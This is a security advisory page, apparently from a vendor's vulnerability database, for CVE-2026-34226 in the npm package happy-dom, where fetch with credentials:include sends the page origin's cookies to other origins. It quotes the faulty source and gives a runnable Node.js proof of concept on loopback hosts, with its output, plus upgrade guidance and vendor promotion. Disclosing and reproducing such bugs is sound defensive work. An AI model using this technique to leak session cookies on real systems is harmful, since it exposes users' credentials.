Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-w4gp-fjgq-3q4g

HIGH

Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

Also known asCVE-2026-34226
Published
Mar 29, 2026
Updated
Mar 29, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk32th percentile+0.35%
0.00%0.30%0.60%0.91%0.0%0.0%0.1%0.4%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

happy-domnpm
10.3Mdownloads / week

Description

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

  1. Node.js >= 22
  2. happy-dom 20.6.1
  3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

  1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
  2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
  3. From page host, call fetch to target host with credentials: "include"
  4. Observe Cookie header received by the target host

Expected:

  1. Include api_cookie=API_ONLY
  2. Do not include page_cookie=PAGE_ONLY

Actual (observed):

  1. Includes page_cookie=PAGE_ONLY
  2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.

Impact

Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmhappy-domall versions20.8.9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for happy-dom. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update happy-dom to 20.8.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w4gp-fjgq-3q4g is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-w4gp-fjgq-3q4g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-w4gp-fjgq-3q4g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: "include" })` is used. This can leak cookies from origin A to destination B. ### Details In [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`: ```ts const originURL = new URL(options.window.
O3 Security · Impact-Aware SCA

Is GHSA-w4gp-fjgq-3q4g in your dependencies?

O3 detects GHSA-w4gp-fjgq-3q4g across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.